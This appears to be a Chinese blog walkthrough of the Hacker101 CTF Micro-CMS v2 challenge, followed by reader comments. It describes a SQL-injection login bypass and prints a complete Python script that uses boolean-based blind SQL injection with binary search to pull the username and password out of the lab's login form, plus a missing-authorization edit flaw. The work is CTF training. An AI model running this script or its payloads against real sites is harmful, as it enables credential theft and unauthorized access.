Hacker101-Micro-v2-cms
记录hacker101 ctf靶场学习
Micro v2 cms篇
进入容器


扫出login的登录页面

直接到达登录页面
用'看看有没有sql注入

报错后把报错页面返回过来了,可以看到py的sql里的语句

admin表,估计就是管理员的账户表了
尝试看看能不能直接用万能密码进去

回显无效的密码,应该后面还有语句去判断password字段,所以没通过
这里可以使用union联合查询重命名来绕过

原理是查询字段1后,再重命名为password使其密码为1
此处为个人推测,如有不准可以再评论区补充互相学习

登录成功

在Private Page页面找到第一个flag

在页面提示中说
恭喜你能登录了,你有真的用户名和密码?如果你没有你就可以这样做!
推测估计还有真实的用户名密码,直接上脚本去跑,附上脚本,脚本用的二分法来爆破的
import requests
def num() -> (int, int): # 最大数以及最小数的区间
return 33, 126
def find(least: int, maximun: int) -> int: # 最大数与最小数的中间值
return (least + maximun) // 2
def main():
request = requests.session() # 开启一个请求会话1
url = "https://50abdbe31d4050c164297ff620a122ab.ctf.hacker101.com/login" # 靶场url
password = ""
username = ""
passwd_len = 0
user_len = 0
for i in range(16): # 获取用户名字符长度
payload = f"' or length(username)={str(i)}#" # sql注入的sql语句, 比较用户名长度, 长度正确会回显特定字符
data = {"username": payload, "password": ""}
response = request.post(url, data=data)
if "Invalid password" in response.text: # 正确的长度会在页面回显的字符
user_len += i
break
print(f"用户名长度是: {user_len}")
for i in range(16): # 获取密码字符长度
payload = f"' or length(password)={str(i)}#" # 同上
data = {"username": payload, "password": ""}
response = request.post(url, data=data)
if "Invalid password" in response.text: # 同上
passwd_len += i
break
print(f"密码长度是: {passwd_len}")
for i in range(1, user_len+1): # 根据获取到的长度来做的循环次数
least, maximun = num() # 获取最小值和最大值
while abs(maximun - least) > 1: # 最大值和最小值的绝对值做循环条件
mid = find(least, maximun) # 最大值和最小值的中间值
payload = f"' or ord(substr(username,{i}, 1)) >{mid}#" # 截取用户名字符,一次截取一个,从第一个字符开始截取, 再转换成ascii码进行比较
data = {"username": payload, "password": ""}
response = request.post(url, data=data)
if "Invalid password" in response.text: # 比较成功会出现的字符串
least = mid
else:
maximun = mid
username += chr(maximun)
print(username, end="\r")
print(f"用户名是: {username}")
for i in range(1, passwd_len+1): # 同上
least, maximun = num()
while abs(maximun - least) > 1:
mid = find(least, maximun)
payload = f"' or ord(substr(password,{i}, 1)) >{mid}#"
data = {"username": payload, "password": ""}
response = request.post(url, data=data)
if "Invalid password" in response.text:
least = mid
else:
maximun = mid
password += chr(maximun)
print(password, end="\r")
print(f"密码是: {password}")
if __name__ == '__main__':
main()
跑出账号密码

拿去登录,得到flag

还剩一个flag,这个flag卡了我很久我,后面实在没搞懂在哪就去看了别人的题解
这个flag是需要在没有管理员cookie去编辑文档才可以拿到

删除cookie后再点save就可以得到flag了

ok,过关

哇塞,bulabula大佬

模板大佬
TMD是个大佬,得想办法舔一下
bula哥我什么时候能有你一成功力那么强😭
tql